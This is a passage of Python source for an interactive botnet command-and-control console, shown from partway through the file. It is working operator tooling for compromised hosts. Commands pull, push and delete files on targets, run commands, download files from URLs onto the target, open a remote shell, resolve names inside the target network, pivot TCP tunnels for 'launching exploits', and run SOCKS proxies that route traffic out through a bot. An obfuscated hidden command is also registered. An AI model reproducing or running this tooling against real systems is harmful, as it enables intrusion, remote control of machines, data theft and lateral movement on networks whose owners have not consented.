This command takes no arguments.\n"""
|
|
|
|
# Parse the arguments, on error show help.
|
|
if line.strip():
|
|
self.onecmd("help clear")
|
|
return
|
|
|
|
# Clear the screen using the magic of ANSI escape codes.
|
|
# We need to make sure the escape codes are not being filtered out.
|
|
if not ANSI_ENABLED:
|
|
deinit()
|
|
init()
|
|
print("\033[2J\033[1;1f")
|
|
if not ANSI_ENABLED:
|
|
deinit()
|
|
init(wrap = True, strip = True)
|
|
|
|
def do_bots(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mbots\x1b[0m
|
|
|
|
List all currently connected bots.
|
|
This command takes no arguments.\n"""
|
|
|
|
# Parse the arguments, on error show help.
|
|
if line.strip():
|
|
self.onecmd("help bots")
|
|
return
|
|
|
|
# If we have no connected bots, just show an error message.
|
|
if not self.listener.bots:
|
|
print(Fore.YELLOW + "No bots have connected yet" + Style.RESET_ALL)
|
|
return
|
|
|
|
# We will show the list of bots in an ASCII art table.
|
|
# Because of course we will. ;)
|
|
# Note that we can't use ANSI escapes here because the
|
|
# size calculations for the table go wrong, so we do a
|
|
# dirty trick instead with placeholder characters.
|
|
table = Texttable()
|
|
table.set_deco(Texttable.HEADER)
|
|
table.set_cols_dtype(("i", "t", "t", "t"))
|
|
table.set_cols_align(("l", "c", "c", "c"))
|
|
table.set_cols_valign(("t", "t", "t", "t"))
|
|
table.set_cols_width((len(str(len(self.listener.bots))), 38, 17, 6))
|
|
table.add_rows((("#", "UUID", "IP address", "Status"),), header = True)
|
|
i = 0
|
|
for bot in self.listener.bots.values():
|
|
busy = self.is_bot_busy(bot)
|
|
status = "\x01gone\x04"
|
|
if bot.alive:
|
|
status = "\x03live\x04"
|
|
if busy:
|
|
status = "\x02busy\x04"
|
|
table.add_row((
|
|
i,
|
|
bot.uuid,
|
|
"\x02" + bot.from_addr[0] + "\x04",
|
|
status
|
|
))
|
|
i += 1
|
|
text = table.draw()
|
|
text = text.replace("\x01", " " + Fore.RED + Style.BRIGHT)
|
|
text = text.replace("\x02", " " + Fore.BLUE + Style.BRIGHT)
|
|
text = text.replace("\x03", " " + Fore.GREEN + Style.BRIGHT)
|
|
text = text.replace("\x04", Style.RESET_ALL + " ")
|
|
print()
|
|
print(text)
|
|
print()
|
|
|
|
def do_current(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mcurrent\x1b[0m
|
|
|
|
Shows the currently selected bot.
|
|
This command takes no arguments.\n"""
|
|
|
|
# Parse the arguments, on error show help.
|
|
if line.strip():
|
|
self.onecmd("help current")
|
|
return
|
|
|
|
# If no bot is selected, show a simple message.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "No bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Show the details of the currently selected bot.
|
|
bot = self.current
|
|
addr = bot.from_addr[0]
|
|
uuid = bot.uuid
|
|
index = self.listener.bots.keys().index(uuid)
|
|
print((
|
|
"\n" +
|
|
"Bot number: #%d\n" +
|
|
"IP address: %s\n" +
|
|
"UUID: [" + Fore.BLUE + Style.BRIGHT + "%s" + Style.RESET_ALL + "]\n"
|
|
) % (index, addr, uuid))
|
|
|
|
def do_use(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mIP address\x1b[0m>
|
|
\x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mnumber\x1b[0m>
|
|
\x1b[32m\x1b[1muse\x1b[0m <\x1b[34m\x1b[1mUUID\x1b[0m>
|
|
\x1b[32m\x1b[1muse\x1b[0m
|
|
|
|
Select a bot to use. Try the "\x1b[32m\x1b[1mbots\x1b[0m" command to list the available bots.
|
|
When invoked with no arguments, the currently selected bot is deselected.\n"""
|
|
|
|
# When invoked with no arguments, deselect the current bot.
|
|
line = line.strip()
|
|
if not line:
|
|
self.current = None
|
|
else:
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
bot_id, = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help use")
|
|
return
|
|
|
|
# If a UUID was passed, we can fetch it directly from the dict.
|
|
try:
|
|
bot = self.listener.bots[bot_id]
|
|
except KeyError:
|
|
|
|
# If a number was passed, we can get it by index.
|
|
# That's why we used an OrderedDict in the listener.
|
|
try:
|
|
bot = self.listener.bots.values()[ int(bot_id) ]
|
|
except IndexError:
|
|
print(Fore.YELLOW + ("Error: no bot number %d found" % int(bot_id)) + Style.RESET_ALL)
|
|
return
|
|
except ValueError:
|
|
|
|
# Last change: was it an IP address?
|
|
# Fetch the first bot we can find from that IP.
|
|
# There may be more than one (think a LAN behind a NAT),
|
|
# but that's the user's problem, not ours...
|
|
try:
|
|
inet_aton(bot_id)
|
|
except error:
|
|
self.onecmd("help use") # wasn't an IP either :(
|
|
return
|
|
found = False
|
|
index = 0
|
|
for bot in self.listener.bots.values():
|
|
if bot.alive and bot_id == bot.from_addr[0]:
|
|
found = True
|
|
break
|
|
index = index + 1
|
|
if not found:
|
|
print(Fore.YELLOW + ("Error: no bot connected to IP address %s" % bot_id) + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy(bot):
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must be alive.
|
|
if not bot.alive:
|
|
print(Fore.YELLOW + "Bot is disconnected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Select the bot.
|
|
self.current = bot
|
|
|
|
def do_pull(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mpull\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m> <\x1b[34m\x1b[1mlocal file\x1b[0m>
|
|
|
|
Pull a file from the target machine.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
remote_file, local_file = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help pull")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.file_read(remote_file, local_file)
|
|
|
|
def do_push(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mpush\x1b[0m <\x1b[34m\x1b[1mlocal file\x1b[0m> <\x1b[34m\x1b[1mremote file\x1b[0m>
|
|
|
|
Push a file into the target machine.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
local_file, remote_file = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help push")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.file_write(local_file, remote_file)
|
|
|
|
def do_chmod(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mchmod\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m>
|
|
|
|
Change a file's access mode flags.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
remote_file, mode_flags = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help chmod")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.file_chmod(remote_file, int(mode_flags, 8))
|
|
|
|
def do_rm(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mrm\x1b[0m <\x1b[34m\x1b[1mremote file\x1b[0m>
|
|
|
|
Delete a file.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
remote_file, = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help rm")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.file_delete(remote_file)
|
|
|
|
def do_exec(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mexec\x1b[0m <\x1b[34m\x1b[1mcommand line\x1b[0m>
|
|
|
|
Execute a non interactive command.
|
|
The output of the command is limited to 1024 bytes.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Perform the operation.
|
|
output = self.current.file_exec(line)
|
|
|
|
# If the output is exactly 1023 bytes long,
|
|
# that means it was likely truncated.
|
|
if len(output) == 1023:
|
|
output += "\n" + Fore.RED + Style.BRIGHT + "<output truncated>" + Style.RESET_ALL
|
|
|
|
# Print the output from the command to screen.
|
|
print(output)
|
|
|
|
def do_download(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mdownload\x1b[0m <\x1b[34m\x1b[1murl\x1b[0m> <\x1b[34m\x1b[1mremote file\x1b[0m>
|
|
|
|
Download a file via HTTP into the target machine.
|
|
Use the "\x1b[32m\x1b[1mpull\x1b[0m" command to retrieve the file locally afterwards.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
url, remote_file = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help download")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.http_download(url, remote_file)
|
|
|
|
def do_fork(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mfork\x1b[0m
|
|
|
|
Fork the bot instance.
|
|
This will create a new bot instance that will connect automatically.
|
|
The new instance will have a new UUID.
|
|
This command takes no arguments.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
assert not split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help fork")
|
|
return
|
|
|
|
# Perform the operation.
|
|
self.current.system_fork()
|
|
|
|
def do_shell(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mshell\x1b[0m
|
|
|
|
Launch an interactive shell over the C&C connection.
|
|
This command takes no arguments.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
assert not split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help shell")
|
|
return
|
|
|
|
# Remember the UUID of the bot. We will need this later.
|
|
uuid = self.current.uuid
|
|
|
|
# Launch an interactive shell on top of the interpreter.
|
|
# When the remote shell dies, return to the interpreter.
|
|
# When Control+C is hit, return to the interpreter.
|
|
sock = self.current.system_shell()
|
|
sleep(0.1) # wait for the reconnection
|
|
print(Fore.YELLOW + "/-------------------------------------------------\\" + Style.RESET_ALL)
|
|
print(Fore.YELLOW + "| Entering remote shell. Use " + Style.BRIGHT + "Control+C" + Style.NORMAL + " to return. |" + Style.RESET_ALL)
|
|
print(Fore.YELLOW + "\\-------------------------------------------------/" + Style.RESET_ALL)
|
|
shell = RemoteShell(sock)
|
|
shell.run_parent()
|
|
print()
|
|
|
|
# Try to re-select the same bot when exiting the shell.
|
|
# We need to do this because the shell command reuses the C&C socket,
|
|
# so the bot mut reconnect in the background with a new socket.
|
|
self.current = self.listener.bots.get(uuid, None)
|
|
|
|
def do_dig(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mdig\x1b[0m <\x1b[34m\x1b[1mdomain name\x1b[0m>
|
|
|
|
Resolve a domain name at the bot.
|
|
This is useful for resolving local domains at the target network.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
domain, = split(line, comments=True)
|
|
assert domain
|
|
except Exception:
|
|
self.onecmd("help dig")
|
|
return
|
|
|
|
# Perform the operation.
|
|
answer = self.current.dns_resolve(domain)
|
|
|
|
# Show the results.
|
|
for addr in answer:
|
|
print(addr)
|
|
|
|
def do_pivot(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mpivot\x1b[0m <\x1b[34m\x1b[1mlisten on port\x1b[0m> <\x1b[34m\x1b[1mconnect to IP address\x1b[0m> <\x1b[34m\x1b[1mconnect to port\x1b[0m>
|
|
|
|
Create a one shot TCP tunnel. Useful for pivoting when launching exploits.
|
|
This tunnel will only be available to localhost and the port is closed
|
|
once a client has connected.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Make sure the bot is still alive.
|
|
# This is inaccurate and strictly speaking unneeded,
|
|
# but it helps a bit since we're about to launch
|
|
# multiple threads and all that stuff, and we may
|
|
# want to skip it for obviously wrong scenarios.
|
|
assert self.current.alive
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
listen, address, port = split(line, comments=True)
|
|
except Exception:
|
|
self.onecmd("help pivot")
|
|
return
|
|
|
|
# Remember the UUID of the bot. We will need this later.
|
|
uuid = self.current.uuid
|
|
|
|
# Listen on the requested port and wait for a single connection.
|
|
listen = int(listen)
|
|
port = int(port)
|
|
address = gethostbyname(address)
|
|
listen_sock = socket()
|
|
listen_sock.bind( ("127.0.0.1", listen) )
|
|
listen_sock.listen(1)
|
|
print("Connect to port %d now..." % listen)
|
|
accept_sock = listen_sock.accept()[0]
|
|
try:
|
|
|
|
# We got our connection, so we can stop listening.
|
|
listen_sock.shutdown(2)
|
|
listen_sock.close()
|
|
|
|
# Connect to the target IP and port using the bot as a pivot.
|
|
# This reuses the current C&C socket so we won't be able to
|
|
# issue any more commands over it again. The bot will reconnect
|
|
# automatically in the background, however.
|
|
connect_sock = self.current.tcp_pivot(address, port)
|
|
try:
|
|
try:
|
|
|
|
# Fire up the TCP bouncers, one for each direction.
|
|
# That way we get a realtime duplex channel.
|
|
# Reading and writing sequentially would be a mistake,
|
|
# since we cannot be sure of the order in which that
|
|
# will happen, and we could deadlock.
|
|
bouncer_1 = TCPForward(connect_sock, accept_sock)
|
|
bouncer_2 = TCPForward(accept_sock, connect_sock)
|
|
bouncer_1.start()
|
|
bouncer_2.start()
|
|
|
|
# Nobody uses this, but we need it somewhere so the
|
|
# garbage collector doesn't destroy our objects.
|
|
# TODO review if this is actually true...
|
|
self.current.bouncers = (bouncer_1, bouncer_2)
|
|
|
|
finally:
|
|
|
|
# Try to re-select the same bot when exiting the shell.
|
|
# We need to do this because the pivot reuses the C&C socket,
|
|
# so the bot mut reconnect in the background with a new socket.
|
|
sleep(0.1)
|
|
self.current = self.listener.bots.get(uuid, None)
|
|
|
|
# Just cleanup and error handling below.
|
|
except:
|
|
try:
|
|
connect_sock.shutdown(2)
|
|
except:
|
|
pass
|
|
try:
|
|
connect_sock.close()
|
|
except:
|
|
pass
|
|
raise
|
|
except:
|
|
try:
|
|
accept_sock.shutdown(2)
|
|
except:
|
|
pass
|
|
try:
|
|
accept_sock.close()
|
|
except:
|
|
pass
|
|
raise
|
|
|
|
def do_proxy(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mproxy\x1b[0m [\x1b[33m\x1b[1mls\x1b[0m]
|
|
\x1b[32m\x1b[1mproxy\x1b[0m [\x1b[33m\x1b[1madd\x1b[0m] <\x1b[34m\x1b[1mport\x1b[0m> [\x1b[34m\x1b[1mbind address\x1b[0m] [\x1b[34m\x1b[1musername\x1b[0m] [\x1b[34m\x1b[1mpassword\x1b[0m]
|
|
\x1b[32m\x1b[1mproxy\x1b[0m \x1b[33m\x1b[1mrm\x1b[0m <\x1b[34m\x1b[1mport\x1b[0m>
|
|
|
|
Opens a SOCKS proxy on the given local port.
|
|
Proxied connections will come out from the bot.
|
|
|
|
Subcommands are:
|
|
\x1b[33m\x1b[1mls\x1b[0m Lists the currently active proxies
|
|
\x1b[33m\x1b[1madd\x1b[0m Adds a new proxy
|
|
\x1b[33m\x1b[1mrm\x1b[0m Removes an active proxy
|
|
|
|
Arguments are:
|
|
\x1b[33m\x1b[1mbind address\x1b[0m Address to bind to (default: \x1b[34m\x1b[1m127.0.0.1\x1b[0m)
|
|
\x1b[33m\x1b[1mport\x1b[0m Port to listen on, also identifies the proxy
|
|
\x1b[33m\x1b[1musername\x1b[0m Optional username (if set, password must set too)
|
|
\x1b[33m\x1b[1mpassword\x1b[0m Optional password\n"""
|
|
|
|
# This command has a tricky syntax with various subcommands.
|
|
# They are listed below, along with helpful aliases.
|
|
valid_commands = {
|
|
"a": "add",
|
|
"r": "rm",
|
|
"l": "ls",
|
|
}
|
|
|
|
# Parse the command arguments.
|
|
try:
|
|
args = list(split(line, comments=True))
|
|
|
|
# Trivial case (no arguments at all).
|
|
# This is the same as the "ls" subcommand.
|
|
if not args:
|
|
command = "ls"
|
|
port = None
|
|
else:
|
|
|
|
# Next easy case: no subcommand, just a port number.
|
|
# That is shorthand for the "add" subcommand.
|
|
# To make the logic easier we will just insert it.
|
|
try:
|
|
int(args[0])
|
|
args.insert(0, "add")
|
|
except ValueError:
|
|
pass
|
|
|
|
# Get the subcommand.
|
|
# If an alias has been used, convert it to the full name.
|
|
command = args.pop(0)
|
|
command = valid_commands.get(command, command)
|
|
assert command in valid_commands.values()
|
|
|
|
# Parse the "add" subcommand arguments.
|
|
if command == "add":
|
|
port = int(args.pop(0))
|
|
assert 0 < port < 65536
|
|
if args:
|
|
bind_addr = args.pop(0)
|
|
bind_addr = inet_ntoa(inet_aton(bind_addr))
|
|
if args:
|
|
username = args.pop(0)
|
|
password = args.pop(0) # must be used together
|
|
assert not args
|
|
else:
|
|
username = ""
|
|
password = ""
|
|
else:
|
|
bind_addr = "127.0.0.1"
|
|
username = ""
|
|
password = ""
|
|
|
|
# Parse the "rm" subcommand arguments.
|
|
elif command == "rm":
|
|
port = int(args.pop(0))
|
|
assert 0 < port < 65536
|
|
assert not args
|
|
|
|
# Parse the "ls" subcommand arguments.
|
|
elif command == "ls":
|
|
assert not args
|
|
|
|
# Should never reach here.
|
|
else:
|
|
raise AssertionError()
|
|
|
|
# On error show a help message.
|
|
except Exception:
|
|
#print_exc() # XXX DEBUG
|
|
self.onecmd("help proxy")
|
|
return
|
|
|
|
# Execute the "add" subcommand.
|
|
if command == "add":
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The port must be free.
|
|
if port in self.proxies:
|
|
print(Fore.YELLOW + "Error: port is already in use" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Automatically fork the bot so we can keep using it.
|
|
uuid = self.current.system_fork()
|
|
|
|
# Create the SOCKSProxy.
|
|
proxy = SOCKSProxy(self.listener, self.current.uuid, bind_addr, port, username, password)
|
|
|
|
# Add it to the dictionary.
|
|
self.proxies[port] = proxy
|
|
|
|
# Launch the proxy.
|
|
proxy.start()
|
|
|
|
# With any luck the fork of the bot has already connected.
|
|
# Try selecting it if we can. If we can't at least deselect it.
|
|
sleep(0.1)
|
|
self.current = self.listener.bots.get(uuid, None)
|
|
|
|
# Execute the "rm" subcommand.
|
|
elif command == "rm":
|
|
|
|
# If there is no proxy at that port, complain.
|
|
if port not in self.proxies:
|
|
print(Fore.YELLOW + ("No proxy on port %d" % port) + Style.RESET_ALL)
|
|
return
|
|
|
|
# Remove the proxy from the dictionary and kill it.
|
|
self.proxies.pop(port).kill()
|
|
|
|
# Execute the "ls" subcommand.
|
|
elif command == "ls":
|
|
|
|
# If we had no active proxies, just show an error message.
|
|
if not self.proxies:
|
|
print(Fore.YELLOW + "No active proxies right now" + Style.RESET_ALL)
|
|
print("(Use 'help proxy' to show the help)")
|
|
return
|
|
|
|
# We will show the list of proxies in an ASCII art table.
|
|
# Same logic as the list of bots.
|
|
table = Texttable()
|
|
table.set_deco(Texttable.HEADER)
|
|
table.set_cols_dtype(("i", "t", "t", "t", "t", "t"))
|
|
table.set_cols_align(("l", "c", "c", "c", "c", "c"))
|
|
table.set_cols_valign(("t", "t", "t", "t", "t", "t"))
|
|
table.set_cols_width((len(str(len(self.proxies))), 36, 15+2, 5+2, 15+1, 4+2))
|
|
table.add_rows((("#", "UUID", "Outgoing IP", "Port", "Bind IP", "Auth"),), header = True)
|
|
i = 0
|
|
for port, proxy in self.proxies.items():
|
|
i += 1
|
|
uuid = proxy.uuid
|
|
bot = self.listener.bots[uuid]
|
|
index = self.listener.bots.keys().index(uuid)
|
|
table.add_row((
|
|
index,
|
|
uuid,
|
|
"\x02" + bot.from_addr[0] + "\x04",
|
|
("\x03" if proxy.alive else "\x01") + str(port) + "\x04",
|
|
"\x04" + proxy.bind_addr,
|
|
("\x03yes\x04" if proxy.username and proxy.password else "\x01no\x04"),
|
|
))
|
|
text = table.draw()
|
|
text = text.replace("\x01", " " + Fore.RED + Style.BRIGHT)
|
|
text = text.replace("\x02", " " + Fore.BLUE + Style.BRIGHT)
|
|
text = text.replace("\x03", " " + Fore.GREEN + Style.BRIGHT)
|
|
text = text.replace("\x04", Style.RESET_ALL + " ")
|
|
print()
|
|
print(text)
|
|
print()
|
|
|
|
# Should never reach here.
|
|
else:
|
|
raise AssertionError()
|
|
|
|
def do_kill(self, line):
|
|
"""
|
|
\x1b[32m\x1b[1mkill\x1b[0m
|
|
|
|
Kill the currently selected bot.
|
|
This command takes no arguments.\n"""
|
|
|
|
# A bot must be selected.
|
|
if self.current is None:
|
|
print(Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL)
|
|
return
|
|
|
|
# The bot must not be busy.
|
|
if self.is_bot_busy():
|
|
print(Fore.YELLOW + "Bot is busy" + Style.RESET_ALL)
|
|
return
|
|
|
|
# Parse the arguments, on error show help.
|
|
try:
|
|
assert not split(line, comments=True)
|
|
except Exception:
|
|
raise
|
|
self.onecmd("help kill")
|
|
return
|
|
|
|
# Kill the currently selected bot.
|
|
# If the bot refuses to die (they can do that, yes)
|
|
# an exception will be raised at this point.
|
|
self.current.system_exit()
|
|
|
|
# Deselect the bot, since we know it's dead now.
|
|
self.current = None
|
|
|
|
# Scary stuff below! :o)
|
|
if "play" in globals():
|
|
darknet = "tor"
|
|
filename = "malna.png"
|
|
bitcoins = 13
|
|
secret = "".join([x[1:].encode(darknet[::-1]+str(bitcoins)) for x in os.path.splitext(filename)])
|
|
del darknet
|
|
del filename
|
|
del bitcoins
|
|
def get_names(self):
|
|
secret = "do_" + Console.secret
|
|
names = Cmd.get_names(self)
|
|
if secret in names:
|
|
names.remove(secret)
|
|
return names
|
|
|
|
# Dunno about you reversing it but I had fun coding this :D
|
|
if "play" in globals():
|
|
setattr(Console, "do_" + Console.secret, play)
|
|
|
|
##############################################################################
|
|
# The bit that launches the console itself.
|
|
|
|
# Main function. Assumes colorama has been initialized elsewhere.
|
|
def main(args = None):
|
|
|
|
# If no arguments are given, use the system ones.
|
|
if args is None:
|
|
args = sys.argv[1:]
|
|
|
|
# Load the interactive console.
|
|
with Console(args) as c:
|
|
|
|
# Show the intro banner but only the first time.
|
|
skip_intro = False
|
|
|
|
# We need to put this in a loop because the base class
|
|
# provided by Python is a bit silly and just dies whenever a
|
|
# command raises an exception, we obviously don't want that.
|
|
while True:
|
|
try:
|
|
|
|
# Run the command loop, showing the banner only once.
|
|
if skip_intro:
|
|
c.cmdloop(intro = "")
|
|
else:
|
|
c.cmdloop()
|
|
|
|
# If we got here that means the exit command was used.
|
|
break
|
|
|
|
# Show bot errors in a pretty way.
|
|
except BotError as e:
|
|
print(Fore.RED + Style.BRIGHT + str(e) + Style.RESET_ALL)
|
|
|
|
# Quit silently with Control+C.
|
|
except KeyboardInterrupt:
|
|
print()
|
|
break
|
|
|
|
# Show all other exceptions as Python tracebacks.
|
|
# Ugly, but easier to debug. You'll thank me.
|
|
except Exception:
|
|
print_exc()
|
|
|
|
# If we got here this is not the first time so skip the banner.
|
|
skip_intro = True
|
|
|
|
if __name__ == "__main__":
|
|
main() # colorama already initialized when imported
|
|
deinit() # cleanup colorama
|